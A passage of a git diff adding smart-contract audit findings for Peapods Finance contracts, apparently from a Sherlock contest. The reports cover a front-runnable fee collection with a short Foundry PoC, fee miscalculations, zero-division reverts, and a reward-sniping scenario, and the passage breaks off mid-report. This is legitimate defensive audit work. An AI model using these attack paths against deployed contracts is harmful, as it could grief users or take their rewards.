+Attacker monitors mempool for owner's intended collection transaction
+Attacker front-runs owner's transaction with call to collect()
+Fees are collected and sent to owner at suboptimal gas prices/timing
+Owner's original transaction fails or reverts, wasting gas
+
+### Impact
+
+The owner suffers increased gas costs and loses control over fee collection timing. The attacker loses gas cost to execute the front-running (griefing).
+
+### PoC
+
+function testFrontRunCollect() public {
+ // Setup V3 position and accrue fees
+ uint256 tokenId = setupV3Position();
+
+ // Attacker front-runs
+ vm.prank(attacker);
+ v3Locker.collect(tokenId); // Works despite not being owner
+
+ // Owner's transaction now fails/wastes gas
+ vm.prank(owner);
+ v3Locker.collect(tokenId);
+}
+
+### Mitigation
+
+Add onlyOwner modifier to collect() function:
+function collect(uint256 _lpId) external onlyOwner {
+ V3_POS_MGR.collect(...);
+}
\ No newline at end of file
diff --git a/297.md b/297.md
new file mode 100644
index 0000000..3c73dfe
--- /dev/null
+++ b/297.md
@@ -0,0 +1,45 @@
+Acrobatic Violet Poodle
+
+Medium
+
+# hardcoded V3_POS_MGR address won't be the same on every chain
+
+### Summary
+
+Chains in scope are Ethereum, Arbitrum One, Base, Mode, Berachain...... hardcoded NonfungiblePositionManager address - > `0xC36442b4a4522E871399CD717aBDD847Ab11FE88` won't be the same on every chain.
+
+### Root Cause
+
+In V3Locker.sol's constructor
+```solidity
+constructor() Ownable(_msgSender()) {
+ CREATED = block.timestamp;
+ V3_POS_MGR = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);//@audit-issue hardcoded address won't be the same on every chain.
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/V3Locker.sol#L15
+ V3_POS_MGR is hardcoded to `0xC36442b4a4522E871399CD717aBDD847Ab11FE88` which won't be the same on all the chains in scope for this audit.
+
+### Internal Pre-conditions
+
+_NO_Reponse
+
+### External Pre-conditions
+
+_NO_Response
+
+### Attack Path
+
+_NO_Response
+
+### Impact
+
+V3Locker.sol can't function properly on all chains in scope for this audit.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make V3_POS_MGR updateable by adding an external function to enable V3_POS_MGR to be updateable
\ No newline at end of file
diff --git a/299.md b/299.md
new file mode 100644
index 0000000..ddff917
--- /dev/null
+++ b/299.md
@@ -0,0 +1,37 @@
+Witty Chartreuse Starling
+
+Medium
+
+# Transferring of _userProvidedDebtAmtMax does not work in _acquireBorrowTokenForRepayment because _props.sender is never set, which leads to a transferFrom call from address(0), causing the transaction to revert
+
+### Summary
+
+In `_acquireBorrowTokenForRepayment`, a user can specify how many tokens they are willing to provide using `_userProvidedDebtAmtMax` if there are not enough tokens to repay the flash loan. However, this does not work because the transfer is attempted from `_props.sender`, which was never set. As a result, `removeLeverage`, which relies on this function, reverts.
+
+### Root Cause
+
+`removeLeverage` in the `LeverageManager` uses `_acquireBorrowTokenForRepayment` to obtain tokens for repaying the flash loan if there are currently not enough. Here, a user can specify a maximum amount they are willing to provide:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L423-L430
+Here, you can see that the amount the user is willing to provide is transferred from `_props.sender`. The problem is that `_props.sender` is never set. Only `_props.owner` is set at the beginning of the `removeLeverage` function:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L177-L180
+This causes `_props.sender` in `_acquireBorrowTokenForRepayment` to be `address(0)`, which leads to the transfer reverting since nothing can be transferred from `address(0)`.
+
+It is also important to note that there is another way to acquire the borrow tokens, but it does not always work, as I explained in Issue "Swapping in _acquireBorrowTokenForRepayment is not working when the sell fee is enabled because the swap does not support fee-on-transfer tokens". This makes this issue even more critical.
+
+### Internal Pre-conditions
+
+No preconditions, this feature does not work regardless of how the protocol is configured.
+
+### External Pre-conditions
+
+No external pre-conditions
+
+### Attack Path
+
+1. Alice bonds PEAS tokens
+2. With the received pTKNs, Alice calls `addLeverage`
+3. Alice wants to call removeLeverage and provides a `_userProvidedDebtAmtMax`. The call reverts because the transfer fails
+
+### Impact
+
+A feature of the protocol is not working, which prevents users from providing a portion of the repayment amount for the flash loan themselves. This can lead to users being unable to remove their leverage, especially if the swap doesn't work, for example, due to slippage or the other issue I mentioned above.
\ No newline at end of file
diff --git a/300.md b/300.md
new file mode 100644
index 0000000..4e07d93
--- /dev/null
+++ b/300.md
@@ -0,0 +1,36 @@
+Witty Chartreuse Starling
+
+Medium
+
+# self-lending does not work with paired tokens that have a transfer tax because addLiquidityV2 does not account for fee-on-transfer on the PAIRED_LP_TOKEN
+
+### Summary
+
+`addLiquidityV2` transfers PAIRED_LP_TOKEN and pTKN from the address that wants to add liquidity. The issue, however, is that the PAIRED_LP_TOKEN can also be a fee-on-transfer token in a self-lending system where the fTKN is podded. When `addLiquidity` is called on the DEX_HANDLER, there are not enough tokens in the pod, and the call reverts. As a result, the self-lending system cannot be used for PAIRED_LP_TOKEN pods that have transfer tax enabled.
+
+### Root Cause
+
+During `addLeverage` in the `LeverageManager`, the function `addLPAndStake` from `IndexUtils` is used to add liquidity to the UniV2 pool and receive the LP tokens:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L82-L87
+`addLiquidityV2` then transfers the PAIRED_LP_TOKEN and the pTKN into the pod, and uses the DEX_HANDLER to add liquidity:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L341-L357
+The issue here is when it is a self-lending system with a podded fTKN that has transfer tax enabled. In this case, the DEX_HANDLER will revert, as the PAIRED_LP_TOKEN is slightly reduced due to the tax when transferring into the pod. However, the same amount of liquidity is still intended to be added (see lines 345 and 352).
+
+
+### Internal Pre-conditions
+
+1. hasTransferTax must be true for the paired LP token pod in the self-lending system
+
+### External Pre-conditions
+
+No external pre-conditions
+
+### Attack Path
+
+1. There is pod1 and pod2, where pod2 has the fTKN as its underlying token. Pod2 is the PAIRED_LP_TOKEN of pod1. Pod2 also has a transfer tax enabled.
+2. A user now wants to call `addLeverage` with their pTKNs, which they received from bonding in pod1
+3. The call fails because there are not enough tokens in pod1 due to the transfer tax in pod2 when liquidity is supposed to be added
+
+### Impact
+
+Self-lending cannot be set up for a PAIRED_LP_TOKEN pod that has transfer tax enabled. As a result, an important feature of the protocol may not be available for certain pods.
\ No newline at end of file
diff --git a/301.md b/301.md
new file mode 100644
index 0000000..3525bd8
--- /dev/null
+++ b/301.md
@@ -0,0 +1,73 @@
+Wonderful Citron Alpaca
+
+High
+
+# The AutoCompoundingPodLp main logic will be unusable if Uniwsap is not available
+
+### Summary
+
+The [getPodPerBasePrice](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/spTKNMinimalOracle.sol#L104-L106) function uses the return of the `_calculateBasePerPTkn` for divider. However, in some conditions `_calculateBasePerPTkn` will return 0 making the `getPodPerBasePrice` to revert.
+```js
+ function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+ }
+```
+
+
+### Root Cause
+
+`getPodPerBasePrice` function is used in `_pairedLpTokenToPodLp` for the calculation of the min out amount:
+```js
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+```
+The [getPodPerBasePrice](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/spTKNMinimalOracle.sol#L104-L106) return the price of a Pod token (pTKN) in terms of a base asset:
+```js
+ function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+ }
+```
+The `_calculateBasePerPTkn` returns the price of base asset per pTKN by an oracle, however if the oracle price is unavailable, it will return 0:
+```js
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+```
+This creates a problem because the 0 will be used in `getPodPerBasePrice` and will cause the function to revert because of zero division.
+
+This revert will cause the whole transaction to fail involving `_pairedLpTokenToPodLp`, breaking the main functionalities of the contract as depositing and withdrawing.
+
+### Internal Pre-conditions
+
+A user wants to deposit his SP tokens in `AutoCompoundingPodLp`.
+
+### External Pre-conditions
+
+
+The Uniswap should be unavailable to make `isBadData` true.
+
+### Attack Path
+
+1. If Uniswap returns stale price `_calculateBasePerPTkn` will return 0 as the default price.
+2. A user wants to withdraw his SP token, however because of the 0 division in `getPodPerBasePrice`, his transaction will fail because `withdraw` calls `_processRewardsToPodLp` that will revert.
+
+### Impact
+
+Users won't be able to deposit or withdraw their tokens while Uniswap is unavailable.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/302.md b/302.md
new file mode 100644
index 0000000..33c41cf
--- /dev/null
+++ b/302.md
@@ -0,0 +1,75 @@
+Wonderful Citron Alpaca
+
+Medium
+
+# `_checkAndHandleBaseTokenPodConfig` function applies the debond fee twice
+
+### Summary
+
+The `getPrices` function returns price in 18 decimals, which will be used by the `aspTKN` oracle and the `FraxlendPair` contract to determine LTV and borrow amount.
+
+The `_checkAndHandleBaseTokenPodConfig` function is called when the base asset is pod and it adjusts the price using `_accountForCBRInPrice`, which normalizes the price based on token conversion logic and applies an the debond fee using `_accountForUnwrapFeeInPrice`.
+```js
+ function _checkAndHandleBaseTokenPodConfig(uint256 _currentPrice18) internal view returns (uint256 _finalPrice18) {
+ _finalPrice18 = _accountForCBRInPrice(BASE_TOKEN, address(0), _currentPrice18);
+ _finalPrice18 = _accountForUnwrapFeeInPrice(BASE_TOKEN, _finalPrice18);
+ }
+```
+
+However, `_accountForCBRInPrice` uses `convertToAssets` which applies the debond fee although it will be applied in `_accountForUnwrapFeeInPrice`.
+
+### Root Cause
+
+[_accountForCBRInPrice](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/spTKNMinimalOracle.sol#L231-L244) calls `convertToAssets` which applies the debond fee:
+```js
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+ _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
+However, the `_accountForUnwrapFeeInPrice` applies the debond fee again:
+```js
+ function _accountForUnwrapFeeInPrice(address _pod, uint256 _currentPrice)
+ internal
+ view
+ returns (uint256 _newPrice)
+ {
+ uint16 _unwrapFee = IDecentralizedIndex(_pod).DEBOND_FEE();
+ _newPrice = _currentPrice - (_currentPrice * _unwrapFee) / 10000;
+ }
+```
+
+### Internal Pre-conditions
+
+The base asset should be a Pod token.
+
+
+### External Pre-conditions
+
+The protocol must be using aspTKN as the price oracle.
+
+### Attack Path
+
+1. The `getPrices` is called and the base asset is pod.
+2. The `_accountForCBRInPrice` function calls `convertToAssets()`, which applies the first debond fee.
+3. The resulting value is then passed to `_accountForUnwrapFeeInPrice`, where a second debond fee is applied.
+4. The final price is lower than expected due to double fee deduction.
+
+
+### Impact
+
+Since `_accountForCBRInPrice` already applies the debond fee, and `_accountForUnwrapFeeInPrice` applies it again, the final price will be incorrectly reduced more than expected.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/303.md b/303.md
new file mode 100644
index 0000000..5721b07
--- /dev/null
+++ b/303.md
@@ -0,0 +1,56 @@
+Wonderful Citron Alpaca
+
+High
+
+# `_tokenToPairedSwapAmountInOverride` overrides the current swap amount
+
+### Summary
+
+In the function `_tokenToPairedLpToken`, when a swap fails, half of `_amountIn` is stored in `_tokenToPairedSwapAmountInOverride` for execution in a future swap.
+However, the function overwrites `_amountIn` with `_amountInOverride`, causing the original swap amount to be lost.
+
+### Root Cause
+
+In [_tokenToPairedLpToken](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L249-L301) a failed swap amount is stored in a mapping so it can be swapped later:
+```js
+ } catch {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] =
+ _amountIn / 2 < _minSwap ? _minSwap : _amountIn / 2;
+ IERC20(_rewardsToken).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit TokenToPairedLpSwapError(_rewardsToken, _swapOutputTkn, _amountIn);
+ }
+```
+This swap will be executed later when a swap of the same token occurs. `_amountIn` holds the amount of the current swap and the problem is, the amount of the failed swap is not added to the current amount, rather the `_amountIn` is overridden and that way the current amount is lost.
+```js
+ uint256 _amountInOverride = _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn];
+ if (_amountInOverride > 0) {
+ _amountIn = _amountInOverride;
+ }
+```
+
+### Internal Pre-conditions
+
+`_tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn]` has a stored value from a previous failed swap attempt.
+
+### External Pre-conditions
+
+A user initiates a swap of a token that has a previous failed swap stored in `_tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn]`.
+
+### Attack Path
+
+1. A user deposits and `_processRewardsToPodLp` is called which calls `_tokenToPairedLpToken`.
+2. A previous swap of the same token failed and the function stored half of `_amountIn` in `_tokenToPairedSwapAmountInOverride`.
+3. Later, when a user swaps the same token again, `_tokenToPairedSwapAmountInOverride` is used but the original `_amountIn` is lost, because it is overwritten by `_amountInOverride`.
+4. The swap executes using the old failed swap amount instead of the new `_amountIn` + `_amountInOverride`.
+
+### Impact
+
+The new `_amountIn` is lost because `_amountInOverride` overrides the `_amountIn` variable.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not override `_amountIn` but increase it with `_amountInOverride`.
diff --git a/304.md b/304.md
new file mode 100644
index 0000000..0fa6ddc
--- /dev/null
+++ b/304.md
@@ -0,0 +1,96 @@
+Perfect Porcelain Snail
+
+Medium
+
+# `FraxlendPairDeployer` can't be deployed as `Ownable` constructor reverts due to missing parameter
+
+### Summary
+
+Missing the initial owner parameter in the `FraxlendPairDeployer` constructor, which inherits from OpenZeppelin's `Ownable` contract, will cause deployment failure for the `FraxlendPairDeployer` contract as the `Ownable` constructor will revert.
+
+### Root Cause
+
+In the [FraxlendPairDeployer.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairDeployer.sol#L95) contract, the constructor lacks the required `initialOwner` argument for the `Ownable` constructor:
+
+```solidity
+ constructor(ConstructorParams memory _params) Ownable() {
+ circuitBreakerAddress = _params.circuitBreaker;
+ comptrollerAddress = _params.comptroller;
+ timelockAddress = _params.timelock;
+ fraxlendWhitelistAddress = _params.fraxlendWhitelist;
+ fraxlendPairRegistryAddress = _params.fraxlendPairRegistry;
+ }
+```
+
+This leads to a revert in the `Ownable` constructor as shown in [Ownable.sol#L40](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol#L40):
+
+```solidity
+ constructor(address initialOwner) {
+ if (initialOwner == address(0)) {
+ revert OwnableInvalidOwner(address(0));
+ }
+ _transferOwnership(initialOwner);
+ }
+```
+
+All the tests using `FraxlendPairDeployer.sol` exacerbates this issue by using the wrong file.
+For example with [LivePOC.t.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/LivePOC.t.sol#L24)
+`import {FraxlendPairDeployer, ConstructorParams} from "@fraxlend/FraxlendPairDeployer.sol";`
+
+By checking the remappings
+
+```txt
+remappings = [
+ "@chainlink/=node_modules/@chainlink/",
+ "@fraxlend/=test/invariant/modules/fraxlend/",
+ "fuzzlib/=lib/fuzzlib/src/",
+ "swap-router/=test/invariant/modules/v3-periphery/swapRouter/",
+ "v3-core/=test/invariant/modules/v3-core/",
+ "v3-periphery/=test/invariant/modules/v3-periphery/",
+ "v2-core/=test/invariant/modules/uniswap-v2/v2-core/contracts/",
+ "v2-periphery/=test/invariant/modules/uniswap-v2/v2-periphery/contracts/",
+ "uniswap-v2/=test/invariant/modules/uniswap-v2/",
+ "solidity-bytes-utils/contracts/=test/invariant/modules/fraxlend/libraries/",
+ "@rari-capital/solmate=node_modules/solmate"
+]
+```
+
+
+So the file referenced is this [one](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/invariant/modules/fraxlend/FraxlendPairDeployer.sol).
+
+The problem is that it's not the same as the new [version](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairDeployer.sol). You can check with [diffchecker](https://www.diffchecker.com/).
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. Attempt to deploy the `FraxlendPairDeployer` contract.
+
+### Impact
+
+The `FraxlendPairDeployer` contract cannot be deployed, completely halting the intended functionality of creating FraxlendPair.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add `_msgSender()` to the constructor
+
+```diff
+- constructor(ConstructorParams memory _params) Ownable() {
++ constructor(ConstructorParams memory _params) Ownable(_msgSender()) {
+ circuitBreakerAddress = _params.circuitBreaker;
+ comptrollerAddress = _params.comptroller;
+ timelockAddress = _params.timelock;
+ fraxlendWhitelistAddress = _params.fraxlendWhitelist;
+ fraxlendPairRegistryAddress = _params.fraxlendPairRegistry;
+ }
+```
\ No newline at end of file
diff --git a/305.md b/305.md
new file mode 100644
index 0000000..6c3d2a5
--- /dev/null
+++ b/305.md
@@ -0,0 +1,66 @@
+Rare Flaxen Nightingale
+
+Medium
+
+# AutoCompoundingLp::_processRewardsToPodLp doesnt claim unclaimed rewards from TokenRewards before processing rewards to asset
+
+### Summary
+
+The AutoCompoundingLp contract fails to properly account for accrued rewards in the TokenRewards contract when processing rewards. Specifically, it does not call TokenRewards.claimRewards() before executing
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L213C14-L213C36
+_processRewardsToPodLp. This results in two key issues:
+
+During Deposits: New depositors can unfairly claim a share of unclaimed rewards intended for previous depositors.
+
+During Withdrawals: Users withdrawing their assets may receive fewer tokens than they are entitled to, as unclaimed rewards are not included in the totalAssets calculation.
+
+This lack of proper reward accrual undermines the fairness of the protocol and negatively impacts both depositors and withdrawers.
+
+
+
+### Root Cause
+
+The root cause is the absence of a call to TokenRewards._distributeRewards() either viaTokenRewards._distributeRewards() or via token transfer before or during the execution of _processRewardsToPodLp. As a result, rewards accrued in the TokenRewards contract are not reflected in the AutoCompoundingLp contract's totalAssets when processing deposits or withdrawals.
+
+### Internal Pre-conditions
+
+none
+
+### External Pre-conditions
+
+A user interacts with the AutoCompoundingLp contract (e.g., deposits or withdraws assets).
+
+The TokenRewards contract has a non-zero balance of reward tokens allocated to the AutoCompoundingLp contract.
+
+
+
+### Attack Path
+
+Scenario 1: Unfair Reward Sniping During Deposits
+A user deposits asset tokens into the AutoCompoundingLp contract while unclaimed rewards are still held in the TokenRewards contract.
+
+The AutoCompoundingLp contract processes rewards by calling _processRewardsToPodLp, but it does not claim the accrued rewards from the TokenRewards contract.
+
+The user immediately withdraws their deposit, claiming a share of the unclaimed rewards that were not accounted for in the totalAssets calculation.
+
+Scenario 2: Incorrect Withdrawal Amounts
+A user attempts to withdraw their assets from the AutoCompoundingLp contract.
+
+The AutoCompoundingLp contract processes rewards but does not claim accrued rewards from the TokenRewards contract.
+
+The user receives fewer tokens than they are entitled to, as the unclaimed rewards are not included in the totalAssets calculation.
+
+
+### Impact
+Unfair Reward Distribution: New depositors can "snip" unclaimed rewards intended for previous depositors by depositing and withdrawing at strategic times.
+
+Incorrect Withdrawal Amounts: Users withdrawing their assets may receive fewer tokens than they are entitled to, as unclaimed rewards are not included in the totalAssets calculation.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+1. call rewardToken.claimRewards before _processRewardsToPodLp
+2. transfer asset token at the start of the external call to trigger _distributeRewards
diff --git a/306.md b/306.md
new file mode 100644
index 0000000..446e46f
--- /dev/null
+++ b/306.md
@@ -0,0 +1,54 @@
+Rare Flaxen Nightingale
+
+High
+
+# AutoCompundingLp doesnt confirm the whitelist/paused state of rewards before trying to convert them to assets
+
+### Summary
+
+_processRewardsToPodLp uses TokenRewards::getAllRewardTokens to determine which tokens it should attempt to swap to asset
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L331-L333
+The issue is getAllRewardTokens returns all assets that have ever been whitelisted and deposited whether or not they are still whitelisted or have been paused
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L210-L213
+this is the only point in which allRewardTokens is updated
+_processRewardsToPodLp does not verify by itself whether reward tokens are still whitelisted or paused before interacting with them. This oversight could lead to denial-of-service (DoS) attacks or other vulnerabilities if a reward token becomes malicious or compromised.
+
+
+### Root Cause
+
+The AutoCompoundingLp contract uses TokenRewards.getAllRewardsTokens() to retrieve all reward tokens that have ever been used as rewards, regardless of whether they are still whitelisted or paused. It does not verify the status of these tokens before interacting with them. This could lead to vulnerabilities if a reward token becomes malicious or compromised.
+
+### Internal Pre-conditions
+
+none
+
+### External Pre-conditions
+
+reward token becomes compromised
+
+### Attack Path
+
+A reward token used in the TokenRewards contract becomes compromised such that all its functions now revert on call (e.g., due to an upgradeable proxy token contract being hijacked).
+
+The compromised token is dewhitelisted and paused in the TokenRewards contract.
+
+A user deposits assets into the AutoCompoundingLp contract, triggering _processRewardsToPodLp.
+
+The AutoCompoundingLp contract attempts to interact with the compromised token (e.g., by calling balanceOf), causing the transaction to revert.
+
+The contract becomes temporarily unusable, and valid accrued rewards may be lost.
+
+### Impact
+
+Denial of Service (DoS): If a reward token is dewhitelisted or paused due to malicious behavior, attempts to interact with it could cause the AutoCompoundingLp contract to revert, temporarily disabling its functionality.
+
+Reentrancy Risks: If a reward token is compromised and behaves maliciously (e.g., by reverting on balance checks or enabling reentrancy), it could reintroduce vulnerabilities similar to those described in C-08 of the Guardian report.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To mitigate this issue, the AutoCompoundingLp contract should verify that reward tokens are still whitelisted and not paused before interacting with them. This can be achieved by adding checks before processing rewards:
\ No newline at end of file
diff --git a/307.md b/307.md
new file mode 100644
index 0000000..4c8c0d6
--- /dev/null
+++ b/307.md
@@ -0,0 +1,73 @@
+Energetic Maroon Meerkat
+
+High
+
+# Incorrect Principal Tracking: vaultDeposits Reduced by Redeemed Interest
+
+### Summary
+`vaultDeposits` tracks the asset amount deposited but is reduced by the redeemed asset value (including interest) instead of the principal. This leads to incorrect tracking of remaining deposits.
+
+### Vulnerability Details
+
+When the owner deposits assets into an external vault, the contract records the principal by doing:
+
+```solidity
+function depositToVault(address _vault, uint256 _amountAssets) external onlyOwner {
+ // ... (after updating metadata)
+ IERC20(_asset).safeIncreaseAllowance(_vault, _amountAssets);
+ uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this));
+ require(totalAvailableAssetsForVault(_vault) >= _amountAssets, "MAX");
+ vaultDeposits[_vault] += _amountAssets;
+ vaultUtilization[_vault] += _amountAssets;
+ _totalAssetsUtilized += _amountAssets;
+ emit DepositToVault(_vault, _amountAssets, _amountShares);
+}
+```
+Here, `vaultDeposits[_vault]` is increased by `_amountAssets`. This value represents the principal that was originally deposited into the vault. However, when assets are redeemed (or withdrawn) from the vault, the redeemed amount may include accrued interest.
+
+Consider the redeem function
+
+```solidity
+function redeemFromVault(address _vault, uint256 _amountShares) external onlyOwner {
+ _updateAssetMetadataFromVault(_vault);
+ _amountShares = _amountShares == 0 ? IERC20(_vault).balanceOf(address(this)) : _amountShares;
+ uint256 _amountAssets = IERC4626(_vault).redeem(_amountShares, address(this), address(this));
+ uint256 _redeemAmt = vaultUtilization[_vault] < _amountAssets ? vaultUtilization[_vault] : _amountAssets;
+ vaultDeposits[_vault] -= _redeemAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _redeemAmt;
+ vaultUtilization[_vault] -= _redeemAmt;
+ _totalAssetsUtilized -= _redeemAmt;
+ emit RedeemFromVault(_vault, _amountShares, _redeemAmt);
+}
+```
+The call to `IERC4626(_vault).redeem(...)` returns `_amountAssets`, which is the total asset value redeemed from the vault. This value can be greater than the original deposit if interest has accrued.
+
+The variable `_redeemAmt `is set as the minimum of `vaultUtilization[_vault]` and `_amountAssets`. This value represents the total assets that are being removed from the vault accounting.
+
+```solidity
+vaultDeposits[_vault] -= _redeemAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _redeemAmt;
+```
+
+The line subtracts the redeemed amount from vaultDeposits. This is where the problem occurs.
+
+If interest has accrued, `_amountAssets `(and thus `_redeemAmt`) will be greater than the original principal. And by subtracting the entire `_redeemAmt`, the contract reduces `vaultDeposits` by not just the principal but also the earned interest
+
+### Proof-Of-Concept
+Imagine the following scenario:
+
+1. 100 tokens are deposited into the vault. At this point: `vaultDeposits[_vault] = 100` and `vaultUtilization[_vault] = 100`
+2. Over time, the vault earns interest and the total asset value in the vault grows to 120 tokens.
+3. When redeeming, suppose the vault returns 120 tokens (the 100 principal + 20 interest).
+4. During redemption, `_amountAssets `becomes 120. The code sets `_redeemAmt `to 120 (assuming `vaultUtilization[_vault]` is at least 120). Then it subtracts from `vaultDeposits`
+5. This results in `vaultDeposits[_vault]` becoming 100 - 100 = 0
+
+
+
+### Impact
+The bug directly affects how the principal is tracked. By reducing `vaultDeposits` using the full redeemed amount (including interest), the contract no longer accurately represents the original deposit amounts. This misrepresentation can lead to incorrect calculations in functions that depend on the principal balance, such as `totalAvailableAssetsForVault`.
+
+### Recommendation
+If the goal is to maintain an accurate record of the principal (i.e., the original deposits), then the redeemed interest should be handled separately from `vaultDeposits`, ensuring that only the principal amount is reduced upon redemption
+
+
+### Code Snippets
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L330
diff --git a/308.md b/308.md
new file mode 100644
index 0000000..6c1d5a9
--- /dev/null
+++ b/308.md
@@ -0,0 +1,47 @@
+Old Blush Hornet
+
+Medium
+
+# OHM contract is not available on Mode.
+
+### Summary
+
+OHM contract is not available on Mode.
+
+### Root Cause
+
+On what chains are the smart contracts going to be deployed?
+
+> Ethereum, Arbitrum One, Base, Mode, Berachain
+
+in Zapper contract the OHM is hardcoded , however it can be set to any address but there is no OHM contract on Mode.
+
+[see](https://docs.olympusdao.finance/main/contracts/addresses#olympus-v2)
+
+```solidity
+ address public OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5; //@audit no OHM contract
+```
+
+### Internal Pre-conditions
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/Zapper.sol#L36
+
+### External Pre-conditions
+
+any call to OHM.
+
+### Attack Path
+
+.
+
+### Impact
+
+unexpected behavior.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/309.md b/309.md
new file mode 100644
index 0000000..d36f996
--- /dev/null
+++ b/309.md
@@ -0,0 +1,93 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# those users who unstake their asset completely cannot stakes again
+
+### Root cause
+
+users can stake in VotingPool contract to achieve reward but their assets will be locked for a period but users who unstake they cannot stake again
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L79
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L118
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L102
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L127
+
+### Internal conditions
+
+_convFctr = 1
+_convDenom = 1
+
+### PoC
+
+1- user stakes 200 asset for first time [amtStaked = 0]
+_mintedAmtBefore = 0 * 0 / 1 = 0, amtStaked = 200, userBalance = 200 voting token
+2- the user stakes 200 asset again after a while when _convFctr is bigger than first stake time [_convFctr = 2]
+_mintedAmtBefore = 200 * 1 / 1 =200
+amtStaked = 400 , user voting pool's balance = 400
+_finalNewMintAmt = 200 * 2 / 1 = 400
+
+3- user decides to unstake whole his/her balance after lockup period
+
+_amount = 400
+_amtStakeToRemove = 400 / 2 = 200
+amtStaked = 400 -200 = 200, user's voting pool balance = 0
+
+4-user wants to stake 100 asset again when _convFctr is 1
+
+_mintedAmtBefore = 200 * 2 / 1 = 400
+_finalNewMintAmt = 300 * 1 / 1 = 300
+
+because _mintedAmtBefore minus _finalNewMintAmt is bigger than user's balance .hence , 0 will be passed to _burn function but this causes user's transaction will be reverted because _removeShares just accept those values which is greater than 0
+
+```solidity
+ function unstake(address _asset, uint256 _amount) external override {
